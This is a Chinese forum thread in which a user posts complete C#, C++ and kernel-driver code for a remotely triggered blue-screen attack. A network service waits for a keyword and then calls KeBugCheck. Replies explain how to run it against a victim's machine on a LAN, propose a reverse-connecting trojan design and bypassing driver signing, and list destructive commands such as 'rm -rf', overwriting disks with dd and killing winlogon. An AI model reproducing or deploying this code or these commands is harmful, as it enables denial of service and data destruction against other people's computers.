沙发呀!坐起!
<code class="lang-c">[DllImport("DriverAPI.dll")] //C++写的驱动控制函数 入口声明 public static extern UInt32 Blue_bottle(); private static byte[] result = new byte[1024]; private static int myProt = 8889; //端口 static Socket serverSocket; protected override void OnStart(string[] args)///// 服务程序从此处开始!!!!!! { string hostname = Dns.GetHostName();//得到本机名 IPHostEntry localhost = Dns.GetHostEntry(hostname);//得到本地所有ip地址 foreach (IPAddress ServerIp in localhost.AddressList)//循环所有得到的ip地址 { try//异常处理 { serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);//创建一个Socket serverSocket.Bind(new IPEndPoint(ServerIp, myProt)); //绑定IP地址:端口 如果能绑定说明ip地址可用 break;//跳出循环 } catch (Exception) {//如果发生异常则代表ip地址不可用 测试下一个ip地址 } } serverSocket.Listen(10); //设定最多10个排队连接请求 Thread myThread = new Thread(ListenClientConnect);//创建一个新的线程监听客户端连接 myThread.Start();//线程启动 } /// <summary> /// 监听客户端连接 /// </summary> private static void ListenClientConnect() { while (true) { Socket clientSocket = serverSocket.Accept();//监听时会卡在这个函数中 直到有客户端链接 clientSocket.Send(Encoding.Default.GetBytes("欢迎光临\r\n回复:\"哈药三精\"启动蓝瓶程序\r\n"));//给客户端发送消息 Thread receiveThread = new Thread(ReceiveMessage);//初始化接收消息进程 receiveThread.Start(clientSocket);//线程启动,并传进当前连接客户端的socket //继续监听下一个客户端连接 } } /// <summary> /// 接收消息 /// </summary> /// <param name="clientSocket">已经连接的socket private static void ReceiveMessage(object clientSocket) { Socket myClientSocket = (Socket)clientSocket;//当前连接客户端的socket while (true) { try { //通过clientSocket接收数据 int receiveNumber = myClientSocket.Receive(result); //接收客户端发来的消息 如果没有消息,就一直卡在这个函数里 if (Encoding.Default.GetString(result, 0, receiveNumber).IndexOf("哈药三精") != -1)//查看是否有蓝屏指令 { Blue_bottle();//启动蓝屏 这个还是用C++写的 因为C#封装winAPI太麻烦 } else { myClientSocket.Send(Encoding.Default.GetBytes("回复:\"哈药三精\"启动蓝瓶程序\r\n")); } if (myClientSocket.Poll(1000, SelectMode.SelectRead)) //判断客户端是否可读 { throw new Exception("链接已经断开");//抛出异常 } } catch (Exception )//如果产生任何异常 有可能是客户端已经断开或者出现其他问题 则跳到这里开始执行 { myClientSocket.Shutdown(SocketShutdown.Both); myClientSocket.Close();//关闭Socket连接 释放资源 break; //跳出死循环 当前线程结束 } } }</code>
<code class="lang-c">#define DEVICE_NAME L"\\\\.\\HelloWDM" void Write(HANDLE hDevice) { if (hDevice != INVALID_HANDLE_VALUE) { int buffer[] = { 1111, 2222, 3333, 4444, 5555 }; DWORD ret = 0; WriteFile( hDevice,//文件句柄 buffer,//数据缓存区指针 sizeof(buffer),//你要写的字节数 &ret,//用于保存实际写入字节数的存储区域的指针 NULL//OVERLAPPED结构体指针 ); } } extern "C" DLL_API unsigned int Blue_bottle(void) { HANDLE hDevice = CreateFile(DEVICE_NAME,// GENERIC_READ | GENERIC_WRITE, //访问模式(写 / 读) 0, //共享模式 NULL, //指向安全属性的指针 OPEN_EXISTING, //如何创建 FILE_ATTRIBUTE_NORMAL, //文件属性 NULL); //用于复制文件句柄 if (hDevice == INVALID_HANDLE_VALUE) { return GetLastError(); } Write(hDevice); return 0; }</code>
<code class="lang-c">NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, //驱动程序入口 类似main IN PUNICODE_STRING pRegistryPath) { DbgPrint("Enter DriverEntry\n"); pDriverObject->DriverExtension->AddDevice = HelloWDMAddDevice; pDriverObject->MajorFunction[IRP_MJ_PNP] = HelloWDMPnp; pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = pDriverObject->MajorFunction[IRP_MJ_CREATE] = HelloWDMDispatchRoutine; pDriverObject->MajorFunction[IRP_MJ_READ] = HelloWDMRead; pDriverObject->MajorFunction[IRP_MJ_WRITE] = WDMWrite; //定义派遣函数 DriverAPI.dll中的Write会触发这个函数执行 pDriverObject->DriverUnload = DriverUnload; DbgPrint("Leave DriverEntry\n"); return STATUS_SUCCESS; } NTSTATUS WDMWrite(IN PDEVICE_OBJECT fdo, IN PIRP Irp) //DriverAPI.dll中的Write会触发这个函数执行 { DbgPrint("Enter HelloWDMWrite\n"); __asm_int_3; NTSTATUS status = STATUS_SUCCESS; PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)fdo->DeviceExtension;//获得设备扩展 PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);//获得irp信息 ULONG ulWrite = 0;//成功Write的字节数 ULONG ulLen = stack->Parameters.Write.Length;//获取caller想要write的字节数 ULONG ulOffset = (ULONG)stack->Parameters.Write.ByteOffset.QuadPart;//获取caller调用(WriteFile)的偏移量 int buffer[5] = { 0 }; // //把内容copy到驱动的缓冲里面。这里使用的是DO_BUFFERED_IO模式,那么可以从Irp->AssociatedIrp.SystemBuffer获取 // //内核模式下的地址(系统会将用户模式的缓冲COPY到内核模式的缓冲Irp->AssociatedIrp.SystemBuffer) RtlCopyMemory(buffer, Irp->AssociatedIrp.SystemBuffer, ulLen);//保存在驱动里面 if (buffer[0] == 1111 && buffer[1] == 2222 && buffer[2] == 3333) { KeBugCheck(0x0000009C); //在Ring0权限下才可以执行,会导致蓝屏 } status = STATUS_SUCCESS; ulWrite = ulLen; Irp->IoStatus.Status = status; //设置IRP的完成状态(成功还是失败) Irp->IoStatus.Information = ulWrite; //驱动实际操作了多少字节 IoCompleteRequest(Irp, IO_NO_INCREMENT); //结束IRP,无需往下面的驱动传递 DbgPrint("Leave HelloWDMWrite, write: %d bytes, offset: %d, input len: %d\n", ulWrite, ulOffset, ulWrite); return status; }</code>
引用 starpeng:非茶话区灌水会被扣分哦
沙发呀!坐起!
引用 黑暗死宅男:全部编译出来 驱动和服务都挂载到系统,然后在内网用socket客户端连接过来,服务器地址时受害机的IP地址,然后给服务器发"哈药三精" 服务器就蓝屏了
怎么用
引用 Johnny-Wei:合成炸药也是违法的
这样攻击别人的计算机,是非法行为哦
引用 张静茹:能材,我们是化学爱好者
合成炸药也是违法的
引用 甘露醇六硝酸酯:我们是黑客爱好者[s::lol]
能材,我们是化学爱好者
引用 张静茹:那要看量,有些炸药属于多用途产品,不超量就没事
合成炸药也是违法的
引用 smith:哇哦 感谢肯定
妹子这个思路基本上是木马的经典模型。不过如果需要穿透局域网的话,就有难度了。
一是考虑反弹木马,也就是你的机器作为服务端侦听端口,被控的机器作为客户端,这样可以只要你的电脑连接在公网上就行了。但大家的IP都是电信动态分配的IP,就需要动态...
引用 smith:驱动刚入门,驱动下的API大多都不会用,看了些驱动方面的书,讲的内核API很少,有什么推荐吗?
妹子研究驱动不错嘛,可以考虑更深入一些,挖掘一些内核溢出的漏洞,不管是windows、linux、mac、android,这些漏洞一旦找到了就是价值千金。
在苹果手机系统上,找到了这些漏洞加以利用,就可以越狱。目前国内的安全组织,如360...
引用 张静茹:说句实话因为工作的原因我对windows平台研究不多,驱动的话有国内有一本 寒江独钓windows内核编程与信息安全写得不错,这本书的电子版在网盘可以下载。可以翻来看一看。
驱动刚入门,驱动下的API大多都不会用,看了些驱动方面的书,讲的内核API很少,有什么推荐吗?
引用 acmilan:对 有次命令打错了吧服务挂载工具给挂载到服务了 居然成功了 也没报错 但是普通exe注册为服务能正常运行吗?
c++编写服务没有c#方便。。。还是c#最爽(其实可以直接用srvany注册普通exe为服务的)
引用 张静茹:显然不能,启动时会卡住
对 有次命令打错了吧服务挂载工具给挂载到服务了 居然成功了 也没报错 但是普通exe注册为服务能正常运行吗?
引用 acmilan:哦哦 酱紫
显然不能,启动时会卡住
因此用C++需要用WinAPI来注册服务,然后退出main函数,让系统执行ServiceMain函数。
所以普通exe注册为服务需要用srvany这个工具,这个工具实现了注册服务+服务运行时调用exe的功能。
引用 张静茹:可能还需要换一个ClassGUID
哦哦 酱紫
我的驱动再设备管理器安装完毕之后 设备类是 示例 改了inf文件里的class 和classname都没有用,您知道在哪改吗?
还有 再vs里新建一个驱动项目 就会出来俩项目 一个名字为* 另一个是* Package,这个*P...
尽管有CPU的特权级别作保护,遗憾的是WINDOW98本身漏洞很多,使用Windows 98的系统一天死机n回也是正常的现在谁还用win98→_→
引用 acmilan:OK 我试试
可能还需要换一个ClassGUID
资料:XXXXXXXXXXXXXXXXXXXXXXXXXX/en-us/library/windows/hardware/ff553426%28v=vs.85%XXXXXpx
那个package工程的...
引用 smith:搞到root的话,直接kill 1就可以死机了,当然狠一点也可以rm -rf根目录和dd硬盘[s:20]xp下想蓝屏也可以ntsd -c q -pn winlogon.exe
winxp下可以,win7或者win8估计不行了,因为限制了驱动加载,除非能搞到驱动签名,就像进攻卡巴斯基的APT组织那样偷到了富士康的签名。
其实可以考虑大量新建进程和分配内存的方法消耗系统资源,在linux下,这叫fork炸弹,像...
引用 北落师门:这种还要看室友的悟性,懂的话也就心照不宣了,不懂的暗示一下秒懂也好,最怕那些思想单纯,怎么点都点不通的,得说到让他激动才能解决问题,碰上了就倒了八辈子霉了→_→
大学的时候室友都抽烟...我表示要抽去阳台抽去,然后就乖乖去阳台抽烟了....冬天也这样,大概怕我不高兴在他们水里不小心放点什么东西吧...所以,玩点化学是有必要的
引用 张静茹:win7 32位你的确可以装上并运行,win7 64位安装没问题,但是服务打不开,除非你改他启动选项把默认开启的强制驱动签名给关了.
哇哦 感谢肯定
如果穿透局域网的话 可以让被害机作为客户端 连接别人送给我的服务器
win7不签名的驱动好像只是提示 你硬要装的话,也是能装上的
引用 暗夜幽灵:msconfig 改掉启动选项,一般人根本不会改回来
win7 32位你的确可以装上并运行,win7 64位安装没问题,但是服务打不开,除非你改他启动选项把默认开启的强制驱动签名给关了.
引用 张静茹:msconfig里没有这个选项,只能用XXXXXXXXXXconfig里倒有个开调试的选项,只不过打开了它腾讯游戏必蓝屏.
msconfig 改掉启动选项,一般人根本不会改回来
引用 张静茹:win8.1运行msconfig,启动标签中会提示打开任务管理器
msconfig 改掉启动选项,一般人根本不会改回来
引用 smith:专业人士[s::lol]显然大学的专业是计算机或软工
说句实话因为工作的原因我对windows平台研究不多,驱动的话有国内有一本 寒江独钓windows内核编程与信息安全写得不错,这本书的电子版在网盘可以下载。可以翻来看一看。
msdn是更直接的学习方法。但msdn偏重于工程性,也就不会告诉你...
引用 adj1202:在插排里面安装一个WIFI电源开关主板(如小米智能插座),手机遥控开关,时不时给室友来个惊喜。
楼主应该拿一个电源适配器或者排插,把里面价格遥控器,里面有个电阻和地线相接,通过遥控器控制电阻接通,等玩得很HI的时候,接通后漏电保护器就,啪的一声跳闸了,整个宿舍停电,清净了。
这样应该不违法吧
时段 | 个数 |
---|---|
{{f.startingTime}}点 - {{f.endTime}}点 | {{f.fileCount}} |
200字以内,仅用于支线交流,主线讨论请采用回复功能。